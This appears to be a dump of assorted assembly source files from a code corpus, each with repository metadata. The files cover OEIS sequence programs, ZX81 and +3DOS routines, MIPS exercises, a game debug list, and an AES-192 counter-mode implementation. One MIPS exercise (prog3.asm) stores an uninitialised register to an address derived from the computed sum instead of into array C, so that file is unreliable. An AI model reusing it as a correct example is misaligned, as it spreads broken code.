; A052913: a(n+2) = 5*a(n+1) - 2*a(n), with a(0) = 1, a(1) = 4. ; 1,4,18,82,374,1706,7782,35498,161926,738634,3369318,15369322,70107974,319801226,1458790182,6654348458,30354161926,138462112714,631602239718,2881086973162,13142230386374,59948977985546,273460429154982,1247404189803818,5690100090709126 mov $1,1 lpb $0 sub $0,1 add $2,$1 add $1,$2 mul $1,2 lpe
33.363636
235
0.730245
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/052/A052913.asm
367
Assembly
4
; ; ZX 81 specific routines ; by Stefano Bodrato, Oct 2007 ; ; Internal code to convert a character from ZX81 to ASCII ; in: source character in (HL) ; out: A = converter character ; ; $Id: zx81toasc.asm,v 1.6 2016-06-26 20:32:08 dom Exp $ ; SECTION code_clib PUBLIC zx81toasc EXTERN zx81_cnvtab .zx81toasc ld a,(hl) push hl and a ; space ? jr nz,testnum ld a,' ' jr setout .testnum cp 28 ; Between 0 and 9 ? jr c,isntnum cp 38 jr nc,isntnum add 20 ; Ok, re-code to the ZX81 charset jr setout ; .. and put it out .isntnum cp 38 ; Between A and Z ? jr c,isntchar cp 64 jr nc,isntchar add 59 ; Ok, lowercase jr setout ; .. and put it out .isntchar cp 166 ; Between A and Z ? jr c,isntchar1 cp 192 jr nc,isntchar1 sub 101 ; Uppercase jr setout ; .. and put it out .isntchar1 ld hl,zx81_cnvtab .symloop ;inc hl cp (hl) jr z,chfound push af xor a or (hl) jr z,isntsym pop af inc hl inc hl jr symloop .chfound inc hl ld a,(hl) jr setout .isntsym pop af ld a,0 ; Else blank. .setout pop hl ret
15
58
0.676329
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/target/zx81/zx81/zx81toasc.asm
1,035
Assembly
4
Name: title-e.asm Type: file Size: 55852 Last-Modified: '1992-11-18T01:42:34Z' SHA-1: CF73447129375A05C01593CBD6F9B9575FA17E7B Description: null
20.714286
47
0.806897
[ "MIT" ]
prismotizm/gigaleak
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/title-e.asm
145
Assembly
4
# C[4] = A[4] + B[4] .data arrayC : .word 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 arrayB : .word 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 arrayA : .word 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 .text main: la $s0, arrayA la $s1, arrayB la $s2, arrayC lw $t0, 16($s0) lw $t1, 16($s1) add $t2, $t0, $t1 sw $t3, 16($t2) li $v0, 10 syscall
13.869565
44
0.492163
[ "MIT" ]
nikhilnayak98/CSE2011
Misc/Prog3/prog3.asm
319
Assembly
4
; Object Mappings Subtype Frame Arttile dbglistobj Obj_Ring, Map_Ring, 0, 0, make_art_tile($6BC,1,1) dbglistobj Obj_Monitor, Map_Monitor, 6, 0, make_art_tile($4C4,0,0) dbglistobj Obj_PathSwap, Map_PathSwap, 9, 1, make_art_tile($6BC,1,0) dbglistobj Obj_PathSwap, Map_PathSwap, $D, 5, make_art_tile($6BC,1,0) dbglistobj Obj_Spring, Map_Spring, $81, 0, make_art_tile($4A4,0,0) dbglistobj Obj_Spring, Map_Spring, $90, 3, make_art_tile($4B4,0,0) dbglistobj Obj_Spring, Map_Spring, $A0, 6, make_art_tile($4A4,0,0) dbglistobj Obj_Spikes, Map_Spikes, 0, 0, make_art_tile($49C,0,0) dbglistobj Obj_AIZLRZEMZRock, Map_AIZRock, 4, 0, make_art_tile($333,1,0) dbglistobj Obj_AIZLRZEMZRock, Map_AIZRock, $13, 1, make_art_tile($333,1,0) dbglistobj Obj_AIZLRZEMZRock, Map_AIZRock, $23, 2, make_art_tile($333,1,0) dbglistobj Obj_CollapsingPlatform, Map_AIZCollapsingPlatform, 0, 0, make_art_tile($001,2,0) dbglistobj Obj_AIZRideVine, Map_AIZMHZRideVine, 8, $21, make_art_tile($41B,0,0) dbglistobj Obj_AIZGiantRideVine, Map_AIZMHZRideVine, $F, $21, make_art_tile($41B,0,0) dbglistobj Obj_AIZFallingLog, Map_AIZFallingLog, 7, 0, make_art_tile($3CF,2,0) dbglistobj Obj_RhinoBot, Map_RhinoBot, 0, 0, make_art_tile($500,1,0) dbglistobj Obj_Tulipon, Map_Tulipon, 0, 0, make_art_tile($52A,1,0) dbglistobj Obj_MonkeyDude, Map_MonkeyDude, $10, 0, make_art_tile($548,1,0) dbglistobj Obj_StarPost, Map_StarPost, 1, 0, make_art_tile($5EC,0,0) dbglistobj Obj_Bubbler, Map_Bubbler, $81, $13, make_art_tile($45C,0,1) dbglistobj Obj_CorkFloor, Map_AIZCorkFloor, 0, 0, make_art_tile($001,2,0) dbglistobj Obj_AIZForegroundPlant, Map_AIZForegroundPlant, 0, 0, make_art_tile($333,2,1) dbglistobj Obj_AIZForegroundPlant, Map_AIZForegroundPlant, $11, 1, make_art_tile($333,2,1) dbglistobj Obj_AIZForegroundPlant, Map_AIZForegroundPlant, $20, 0, make_art_tile($333,2,1) dbglistobj Obj_AIZForegroundPlant, Map_AIZForegroundPlant, $31, 1, make_art_tile($333,2,1) dbglistobj Obj_AIZForegroundPlant, Map_AIZForegroundPlant, $40, 0, make_art_tile($333,2,1) dbglistobj Obj_AIZForegroundPlant, Map_AIZForegroundPlant, $51, 1, make_art_tile($333,2,1) dbglistobj Obj_AIZForegroundPlant, Map_AIZForegroundPlant, $60, 0, make_art_tile($333,2,1) dbglistobj Obj_FloatingPlatform, Map_AIZFloatingPlatform, $20, 0, make_art_tile($3F7,2,0)
80.806452
97
0.727345
[ "Apache-2.0" ]
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
Working Disassembly/Levels/AIZ/Debug/Act 1.asm
2,505
Assembly
4
; A couple of routines for +3 library ; Routine to call +3DOS Routines. Located in startup ; code to ensure we don't get paged out ; (These routines have to be below 49152) ; ; djm 17/3/2000 (after the manual!) ; ; $Id: dodos.asm,v 1.3 2016-03-07 13:44:48 dom Exp $ SECTION code_driver PUBLIC dodos EXTERN l_push_di EXTERN l_pop_ei EXTERN l_jpiy dodos: call dodos2 ;dummy routine to restore iy afterwards ld iy,23610 ret dodos2: push af push bc ld a,7 ld bc,32765 call l_push_di ld (23388),a out (c),a call l_pop_ei pop bc pop af call l_jpiy push af push bc ld a,16 ld bc,32765 call l_push_di ld (23388),a out (c),a call l_pop_ei pop bc pop af ret
21.326087
71
0.491335
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/target/zx/fcntl/plus3/dodos.asm
981
Assembly
4
; A092403: sigma(n)+sigma(n+1). ; 4,7,11,13,18,20,23,28,31,30,40,42,38,48,55,49,57,59,62,74,68,60,84,91,73,82,96,86,102,104,95,111,102,102,139,129,98,116,146,132,138,140,128,162,150,120,172,181,150,165,170,152,174,192,192,200,170,150,228,230 mov $2,$0 mov $4,2 lpb $4 sub $4,1 add $0,$4 mov $5,$0 sub $0,1 mov $3,$4 max $5,0 seq $5,332569 ; a(n) = Sum_{k=1..n} floor(n/k) * ceiling(n/k). sub $5,1 mul $3,$5 add $1,$3 lpe min $2,1 mul $2,$5 sub $1,$2 mov $0,$1
21.863636
209
0.592516
[ "Apache-2.0" ]
neoneye/loda
programs/oeis/092/A092403.asm
481
Assembly
4
######################################################### # # # Wczytac ciag znakow i zamienic wszystkie # # wielkie litery na male litery # # oraz male na wielkie. # # Autor: Jakub Sikora # # # ######################################################### .data prompt: .asciiz "Enter string: \n" buf: .space 100 .text .globl main main: li $v0, 4 la $a0, prompt syscall li $v0, 8 la $a0, buf li $a1, 100 syscall la $t0, buf lb $t1, ($t0) beqz $t1, exit li $t2, 'a' li $t3, 'z' li $t4, 'A' li $t5, 'Z' loop: blt $t1, $t4, next bgt $t1, $t3, next bge $t1, $t2, small_letter ble $t1, $t5, big_letter addiu $t0, $t0, 1 lb $t1, ($t0) beqz $t1, exit b loop big_letter: addiu $t1, $t1, 0x20 sb $t1, ($t0) next: addiu $t0, $t0, 1 lb $t1, ($t0) beqz $t1, exit b loop small_letter: subiu $t1, $t1, 0x20 sb $t1, ($t0) addiu $t0, $t0, 1 lb $t1, ($t0) beqz $t1, exit b loop exit: li $v0, 4 la $a0, buf syscall li $v0, 10 syscall
16.958904
57
0.399838
[ "MIT" ]
kubasikora/ARKO-MIPS-Projekt
examples/mips10.asm
1,238
Assembly
4
; ------- console-graphic library -------------- ; 16.02.2020 ; - added 'draw_rect' ; 16.02.2020 ; - added a check to 'draw_bitmap' to prevent it from drawing outside the screen ; 16.02.2020 ; - fixed an issue where a bordering bit would break 'draw_image' ; 16.02.2020 ; --- draws the bitmap at [bx] with (ch*8) cols and (cl) rows at position (dx) ; (dh) => row ; (dl) => col ; (ch) => width * 8 ; (cl) => height draw_bitmap: push ax push bx push cx push dx mov al, ch mov ah, 0x0 ; store cols mov ch, 0x0 ; store rows draw_bitmap__all_rows: cmp dh, 0 ; check boundries jl draw_bitmap__all_rows_1 cmp dh, 23 jg draw_bitmap__all_rows_1 call set_cursor ; draw row push cx mov cl, al call draw_bitmap__row pop cx draw_bitmap__all_rows_1: inc dh ; mov to next line loop draw_bitmap__all_rows pop dx pop cx pop bx pop ax ret draw_bitmap__row: push ax push dx cmp dl, 0 ; check boundries jl draw_bitmap__row_1 cmp dl, 72 jg draw_bitmap__row_1 mov ah, 0x0 mov al, byte [bx] call draw_bitmap__byte draw_bitmap__row_1: add bx, 1 add dl, 1 loop draw_bitmap__row pop dx pop ax ret draw_bitmap__byte: push cx mov cx, 8 draw_bitmap__byte_repeat: shl al, 1 ; check leftmost bit if set push ax jnc draw_bitmap__byte_skip ; then draw '+'' mov al, '+' call print_char pop ax loop draw_bitmap__byte_repeat jmp draw_bitmap__byte_end draw_bitmap__byte_skip: ; else draw ' ' mov al, ' ' call print_char pop ax loop draw_bitmap__byte_repeat draw_bitmap__byte_end: pop cx ret ; --- draws a rect at ; !!! needs massive improvement ; (dh) => row ; (dl) => col ; (ch) => width ; (cl) => height ; (al) => character to draw draw_rect: push ax push bx push cx push dx mov bl, ch mov bh, 0x0 draw_rect__lines: push dx push cx mov ch, 0x0 mov cl, bl ; set cx to width call draw_rect__horizontal pop cx pop dx push dx push cx add dh, cl ; mov curser to the bottom mov ch, 0x0 mov cl, bl ; set cx to width call draw_rect__horizontal pop cx pop dx push dx push cx mov ch, 0x0 call draw_rect__vertical pop cx pop dx push dx push cx add dl, ch ; mov curser to the right mov ch, 0x0 call draw_rect__vertical pop cx pop dx ; pop dx pop cx pop bx pop ax ret draw_rect__horizontal: push cx push dx draw_rect__horizontal_repeat: call set_cursor call print_char inc dl loop draw_rect__horizontal_repeat pop dx pop cx ret draw_rect__vertical: push cx push dx draw_rect__vertical_repeat: call set_cursor call print_char inc dh loop draw_rect__vertical_repeat pop dx pop cx ret
19.593548
80
0.600593
[ "MIT" ]
tobidot/assembler
libs/console_graphic.asm
3,037
Assembly
4
BITS 32 start: loop start hlt
5.714286
14
0.575
[ "BSD-2-Clause" ]
Atybot/v86
tests/expect/tests/loop.asm
40
Assembly
4
; A168565: Let p = prime(n); then a(n) = p + (p-1)/2. ; Submitted by Jon Maiga ; 4,7,10,16,19,25,28,34,43,46,55,61,64,70,79,88,91,100,106,109,118,124,133,145,151,154,160,163,169,190,196,205,208,223,226,235,244,250,259,268,271,286,289,295,298,316,334,340,343,349,358,361,376,385,394,403 mov $1,2 mov $2,$0 pow $2,2 lpb $2 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,2 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,1 lpe mov $0,$1 sub $0,2 div $0,2 mul $0,3 add $0,4
22.583333
206
0.621771
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/168/A168565.asm
542
Assembly
4
; A259317: a(n) = 2*(2*n+1)*A000538(n) - 4*A000330(n)^2. ; 0,2,70,588,2772,9438,26026,61880,131784,257754,471086,814660,1345500,2137590,3284946,4904944,7141904,10170930,14202006,19484348,26311012,35023758,46018170,59749032,76735960,97569290,122916222,153527220,190242668,233999782,285839778,346915296,418498080,501986914,598915814,710962476,839956980,987890750,1156925770,1349404056,1567857384,1815017274,2093825230,2407443236,2759264508,3152924502,3592312178,4081581520,4625163312,5227777170,5894443830,6630497692,7441599620,8333749998,9313302042,10386975368,11561869816,12845479530,14245707294,15770879124,17429759116,19231564550,21185981250,23303179200,25593828416,28069115074,30740757894,33621024780,36722749716,40059349918,43644843242,47493865848,51621690120,56044242842,60778123630,65840623620,71249744412,77024217270,83183522578,89747909552,96738416208,104176889586,112086006230,120489292924,129411147684,138876861006,148912637370,159545617000,170803897880,182716558026,195313678014,208626363764,222686769580,237528121446,253184740578,269692067232,287086684768,305406343970,324689987622,344977775340,366311108660,388732656382,412286380170,437017560408,462972822312,490200162298,518748974606,548670078180,580015743804,612839721494,647197268146,683145175440,720741798000,760047081810,801122592886,844031546204,888838834884,935611059630,984416558426,1035325436488,1088409596472,1143742768938,1201400543070,1261460397652,1324001732300,1389105898950,1456856233602,1527338088320,1600638863488,1676848040322,1756057213638,1838360124876,1923852695380,2012633059934,2104801600554,2200460980536,2299716178760,2402674524250,2509445730990,2620141932996,2734877719644,2853770171254,2976938894930,3104506060656,3236596437648,3373337430962,3514859118358,3661294287420,3812778472932,3969449994510,4131449994490,4298922476072,4472014341720,4650875431818,4835658563582,5026519570228,5223617340396,5427113857830,5637174241314,5853966784864,6077662998176,6308437647330,6546468795750,6791937845420,7045029578356,7305932198334,7574837372874,7851940275480,8137439628136,8431537744058,8734440570702,9046357733028,9367502577020,9698092213462,10038347561970,10388493395280,10748758383792,11119375140370,11500580265398,11892614392092,12295722232068,12710152621166,13136158565530,13573997287944,14023930274424,14486223321066,14961146581150,15448974612500,15949986425100,16464465528966,16992699982274,17534982439744,18091610201280,18662885260866,19249114355718,19850609015692,20467685612948,21100665411870,21749874619242,22415644434680,23098311101320,23798215956762,24515705484270,25251131364228,26004850525852,26777225199158,27568622967186,28379416818480,29209985199824,30060712069234,30931986949206,31824204980220,32737766974500,33673079470030,34630554784826,35610611071464,36613672371864,37640168672330,38690535958846,39765216272628,40864657765932,41989314758118,43139647791970,44316123690272,45519215612640,46749403112610,48007172194982,49293015373420,50607431728308,51950926964862,53324013471498,54727210378456,56161043616680,57626045976954,59122757169294,60651723882596,62213499844540,63808645881750,65437729980210,67101327345936,68800020465904,70534399169234,72305060688630,74112609722076,75957658494788,77840826821422,79762742168538,81724039717320,83725362426552,85767361095850 mul $0,2 mov $4,5 mov $5,3 add $5,$0 lpb $0 add $0,1 bin $5,$4 mul $5,$0 mov $0,$2 mov $1,$5 mov $5,$3 lpe div $1,3 mul $1,2
189
3,206
0.897413
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/259/A259317.asm
3,402
Assembly
4
;; ;; Copyright (c) 2012-2022, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/os.asm" %include "include/memcpy.asm" %include "include/const.inc" %include "include/reg_sizes.asm" %include "include/clear_regs.asm" ; routine to do AES192 CNTR enc/decrypt "by8" ; XMM registers are clobbered. Saving/restoring must be done at a higher level %ifndef AES_CNTR_192 %define AES_CNTR_192 aes_cntr_192_sse %define AES_CNTR_BIT_192 aes_cntr_bit_192_sse %endif extern byteswap_const, ddq_add_1, ddq_add_2, ddq_add_3, ddq_add_4 extern ddq_add_5, ddq_add_6, ddq_add_7, ddq_add_8 %define CONCAT(a,b) a %+ b %define MOVDQ movdqu %define xdata0 xmm0 %define xdata1 xmm1 %define xpart xmm1 %define xdata2 xmm2 %define xdata3 xmm3 %define xdata4 xmm4 %define xdata5 xmm5 %define xdata6 xmm6 %define xdata7 xmm7 %define xcounter xmm8 %define xtmp xmm8 %define xbyteswap xmm9 %define xtmp2 xmm9 %define xkey0 xmm10 %define xtmp3 xmm10 %define xkey4 xmm11 %define xkey8 xmm12 %define xkey12 xmm13 %define xkeyA xmm14 %define xkeyB xmm15 %ifdef LINUX %define p_in rdi %define p_IV rsi %define p_keys rdx %define p_out rcx %define num_bytes r8 %define num_bits r8 %define p_ivlen r9 %else %define p_in rcx %define p_IV rdx %define p_keys r8 %define p_out r9 %define num_bytes r10 %define num_bits r10 %define p_ivlen qword [rsp + 8*6] %endif %define tmp r11 %define r_bits r12 %define tmp2 r13 %define mask r14 %macro do_aes_load 2 do_aes %1, %2, 1 %endmacro %macro do_aes_noload 2 do_aes %1, %2, 0 %endmacro ; do_aes num_in_par load_keys ; This increments p_in, but not p_out %macro do_aes 3 %define %%by %1 %define %%cntr_type %2 %define %%load_keys %3 %ifidn %%cntr_type, CNTR_BIT %define %%PADD paddq %else %define %%PADD paddd %endif %if (%%load_keys) movdqa xkey0, [p_keys + 0*16] %endif movdqa xdata0, xcounter pshufb xdata0, xbyteswap %assign i 1 %rep (%%by - 1) movdqa CONCAT(xdata,i), xcounter %%PADD CONCAT(xdata,i), [rel CONCAT(ddq_add_,i)] pshufb CONCAT(xdata,i), xbyteswap %assign i (i + 1) %endrep movdqa xkeyA, [p_keys + 1*16] pxor xdata0, xkey0 %%PADD xcounter, [rel CONCAT(ddq_add_,%%by)] %assign i 1 %rep (%%by - 1) pxor CONCAT(xdata,i), xkey0 %assign i (i + 1) %endrep movdqa xkeyB, [p_keys + 2*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyA ; key 1 %assign i (i+1) %endrep movdqa xkeyA, [p_keys + 3*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyB ; key 2 %assign i (i+1) %endrep add p_in, 16*%%by %if (%%load_keys) movdqa xkey4, [p_keys + 4*16] %endif %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyA ; key 3 %assign i (i+1) %endrep movdqa xkeyA, [p_keys + 5*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkey4 ; key 4 %assign i (i+1) %endrep movdqa xkeyB, [p_keys + 6*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyA ; key 5 %assign i (i+1) %endrep movdqa xkeyA, [p_keys + 7*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyB ; key 6 %assign i (i+1) %endrep %if (%%load_keys) movdqa xkey8, [p_keys + 8*16] %endif %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyA ; key 7 %assign i (i+1) %endrep movdqa xkeyA, [p_keys + 9*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkey8 ; key 8 %assign i (i+1) %endrep movdqa xkeyB, [p_keys + 10*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyA ; key 9 %assign i (i+1) %endrep movdqa xkeyA, [p_keys + 11*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyB ; key 10 %assign i (i+1) %endrep %if (%%load_keys) movdqa xkey12, [p_keys + 12*16] %endif %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyA ; key 11 %assign i (i+1) %endrep %assign i 0 %rep %%by aesenclast CONCAT(xdata,i), xkey12 ; key 12 %assign i (i+1) %endrep %assign i 0 %rep (%%by / 2) %assign j (i+1) MOVDQ xkeyA, [p_in + i*16 - 16*%%by] MOVDQ xkeyB, [p_in + j*16 - 16*%%by] pxor CONCAT(xdata,i), xkeyA pxor CONCAT(xdata,j), xkeyB %assign i (i+2) %endrep %if (i < %%by) MOVDQ xkeyA, [p_in + i*16 - 16*%%by] pxor CONCAT(xdata,i), xkeyA %endif %ifidn %%cntr_type, CNTR_BIT ;; check if this is the end of the message mov tmp, num_bytes and tmp, ~(%%by*16) jnz %%skip_preserve ;; Check if there is a partial byte or r_bits, r_bits jz %%skip_preserve %assign idx (%%by - 1) ;; Load output to get last partial byte movdqu xtmp, [p_out + idx * 16] ;; Save RCX in temporary GP register mov tmp, rcx mov mask, 0xff mov cl, BYTE(r_bits) shr mask, cl ;; e.g. 3 remaining bits -> mask = 00011111 mov rcx, tmp movq xtmp2, mask pslldq xtmp2, 15 ;; At this point, xtmp2 contains a mask with all 0s, but with some ones ;; in the partial byte ;; Clear all the bits that do not need to be preserved from the output pand xtmp, xtmp2 ;; Clear all bits from the input that are not to be ciphered pandn xtmp2, CONCAT(xdata, idx) por xtmp2, xtmp movdqa CONCAT(xdata, idx), xtmp2 %%skip_preserve: %endif %assign i 0 %rep %%by MOVDQ [p_out + i*16], CONCAT(xdata,i) %assign i (i+1) %endrep %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mksection .text ;; Macro performing AES-CTR. ;; %macro DO_CNTR 1 %define %%CNTR_TYPE %1 ; [in] Type of CNTR operation to do (CNTR/CNTR_BIT) %ifndef LINUX mov num_bytes, [rsp + 8*5] %endif %ifidn %%CNTR_TYPE, CNTR_BIT push r12 push r13 push r14 %endif movdqa xbyteswap, [rel byteswap_const] %ifidn %%CNTR_TYPE, CNTR test p_ivlen, 16 jnz %%iv_is_16_bytes ; Read 12 bytes: Nonce + ESP IV. Then pad with block counter 0x00000001 mov DWORD(tmp), 0x01000000 pinsrq xcounter, [p_IV], 0 pinsrd xcounter, [p_IV + 8], 2 pinsrd xcounter, DWORD(tmp), 3 %else ;; CNTR_BIT ; Read 16 byte IV: Nonce + 8-byte block counter (BE) movdqu xcounter, [p_IV] %endif %%bswap_iv: pshufb xcounter, xbyteswap ;; calculate len ;; convert bits to bytes (message length in bits for CNTR_BIT) %ifidn %%CNTR_TYPE, CNTR_BIT mov r_bits, num_bits add num_bits, 7 shr num_bits, 3 ; "num_bits" and "num_bytes" registers are the same and r_bits, 7 ; Check if there are remainder bits (0-7) %endif mov tmp, num_bytes and tmp, 7*16 jz %%chk ; multiple of 8 blocks and/or below 16 bytes ; 1 <= tmp <= 7 cmp tmp, 4*16 jg %%gt4 je %%eq4 ; 1 <= tmp <= 3 cmp tmp, 2*16 jg %%eq3 je %%eq2 %%eq1: do_aes_load 1, %%CNTR_TYPE ; 1 block add p_out, 1*16 jmp %%chk %%eq2: do_aes_load 2, %%CNTR_TYPE ; 2 blocks add p_out, 2*16 jmp %%chk %%eq3: do_aes_load 3, %%CNTR_TYPE ; 3 blocks add p_out, 3*16 jmp %%chk %%eq4: do_aes_load 4, %%CNTR_TYPE add p_out, 4*16 jmp %%chk %%gt4: ; 5 <= tmp <= 7 cmp tmp, 6*16 jg %%eq7 je %%eq6 %%eq5: do_aes_load 5, %%CNTR_TYPE add p_out, 5*16 jmp %%chk %%eq6: do_aes_load 6, %%CNTR_TYPE add p_out, 6*16 jmp %%chk %%eq7: do_aes_load 7, %%CNTR_TYPE add p_out, 7*16 ; fall through to chk %%chk: and num_bytes, ~(7*16) jz %%do_return2 cmp num_bytes, 16 jb %%last ; process multiples of 4 blocks movdqa xkey0, [p_keys + 0*16] movdqa xkey4, [p_keys + 4*16] movdqa xkey8, [p_keys + 8*16] movdqa xkey12, [p_keys + 12*16] align 32 %%main_loop2: ; num_bytes is a multiple of 8 blocks + partial bytes do_aes_noload 8, %%CNTR_TYPE add p_out, 8*16 sub num_bytes, 8*16 cmp num_bytes, 8*16 jae %%main_loop2 ; Check if there is a partial block or num_bytes, num_bytes jnz %%last %%do_return2: %ifidn %%CNTR_TYPE, CNTR_BIT pop r14 pop r13 pop r12 %endif %ifdef SAFE_DATA clear_all_xmms_sse_asm %endif ;; SAFE_DATA ret %%last: ; load partial block into XMM register simd_load_sse_15_1 xpart, p_in, num_bytes %%final_ctr_enc: ; Encryption of a single partial block pshufb xcounter, xbyteswap movdqa xdata0, xcounter pxor xdata0, [p_keys + 16*0] %assign i 1 %rep 11 aesenc xdata0, [p_keys + 16*i] %assign i (i+1) %endrep ; created keystream aesenclast xdata0, [p_keys + 16*i] ; xor keystream with the message (scratch) pxor xdata0, xpart %ifidn %%CNTR_TYPE, CNTR_BIT ;; Check if there is a partial byte or r_bits, r_bits jz %%store_output ;; Load output to get last partial byte simd_load_sse_15_1 xtmp, p_out, num_bytes ;; Save RCX in temporary GP register mov tmp, rcx mov mask, 0xff %ifidn r_bits, rcx %error "r_bits cannot be mapped to rcx!" %endif mov cl, BYTE(r_bits) shr mask, cl ;; e.g. 3 remaining bits -> mask = 00011111 mov rcx, tmp movq xtmp2, mask ;; Get number of full bytes in last block of 16 bytes mov tmp, num_bytes dec tmp XPSLLB xtmp2, tmp, xtmp3, tmp2 ;; At this point, xtmp2 contains a mask with all 0s, but with some ones ;; in the partial byte ;; Clear all the bits that do not need to be preserved from the output pand xtmp, xtmp2 ;; Clear the bits from the input that are not to be ciphered pandn xtmp2, xdata0 por xtmp2, xtmp movdqa xdata0, xtmp2 %endif %%store_output: ; copy result into the output buffer simd_store_sse_15 p_out, xdata0, num_bytes, tmp, rax jmp %%do_return2 %%iv_is_16_bytes: ; Read 16 byte IV: Nonce + ESP IV + block counter (BE) movdqu xcounter, [p_IV] jmp %%bswap_iv %endmacro align 32 ;; aes_cntr_192_sse(void *in, void *IV, void *keys, void *out, UINT64 num_bytes, UINT64 iv_len) MKGLOBAL(AES_CNTR_192,function,internal) AES_CNTR_192: DO_CNTR CNTR ;; aes_cntr_bit_192_sse(void *in, void *IV, void *keys, void *out, UINT64 num_bits, UINT64 iv_len) MKGLOBAL(AES_CNTR_BIT_192,function,internal) AES_CNTR_BIT_192: DO_CNTR CNTR_BIT mksection stack-noexec
23.587771
98
0.638348
[ "BSD-3-Clause" ]
jkivilin/intel-ipsec-mb
lib/sse/aes192_cntr_by8_sse.asm
11,959
Assembly
4
; A083222: a(n) = (4*5^n + (-5)^n)/5. ; 1,3,25,75,625,1875,15625,46875,390625,1171875,9765625,29296875,244140625,732421875,6103515625,18310546875,152587890625,457763671875,3814697265625,11444091796875,95367431640625,286102294921875,2384185791015625,7152557373046875,59604644775390625,178813934326171875,1490116119384765625,4470348358154296875,37252902984619140625,111758708953857421875,931322574615478515625,2793967723846435546875,23283064365386962890625,69849193096160888671875,582076609134674072265625,1746229827404022216796875,14551915228366851806640625,43655745685100555419921875,363797880709171295166015625,1091393642127513885498046875,9094947017729282379150390625,27284841053187847137451171875,227373675443232059478759765625,682121026329696178436279296875,5684341886080801486968994140625,17053025658242404460906982421875,142108547152020037174224853515625,426325641456060111522674560546875,3552713678800500929355621337890625,10658141036401502788066864013671875,88817841970012523233890533447265625,266453525910037569701671600341796875 mov $1,4 mov $2,5 pow $2,$0 mul $2,2 mul $1,$2 mov $3,10 mov $4,$0 mod $4,2 mul $4,4 sub $3,$4 mul $1,$3 div $1,160 mul $1,2 add $1,1 mov $0,$1
62.315789
1,000
0.878378
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/083/A083222.asm
1,184
Assembly
4
_main: ;ledrandom.c,3 :: void main() ;ledrandom.c,6 :: TRISC =0; // Configure PORTC as output CLRF TRISC+0 ;ledrandom.c,7 :: srand(10); MOVLW 10 MOVWF FARG_srand_x+0 MOVLW 0 MOVWF FARG_srand_x+1 CALL _srand+0, 0 ;ledrandom.c,9 :: for(;;) // Endless loop L_main0: ;ledrandom.c,11 :: p=rand()/128; CALL _rand+0, 0 ;ledrandom.c,12 :: RC1_bit=1; BSF RC1_bit+0, BitPos(RC1_bit+0) ;ledrandom.c,13 :: Delay_Ms(100); // Wait 1 s MOVLW 3 MOVWF R11, 0 MOVLW 8 MOVWF R12, 0 MOVLW 119 MOVWF R13, 0 L_main3: DECFSZ R13, 1, 1 BRA L_main3 DECFSZ R12, 1, 1 BRA L_main3 DECFSZ R11, 1, 1 BRA L_main3 ;ledrandom.c,14 :: } GOTO L_main0 ;ledrandom.c,15 :: } L_end_main: GOTO $+0 ; end of _main
23.282051
59
0.513216
[ "MIT" ]
igor-almeida-github/meus-projetos-com-microcontroladores
ledrandom/ledrandom.asm
908
Assembly
4
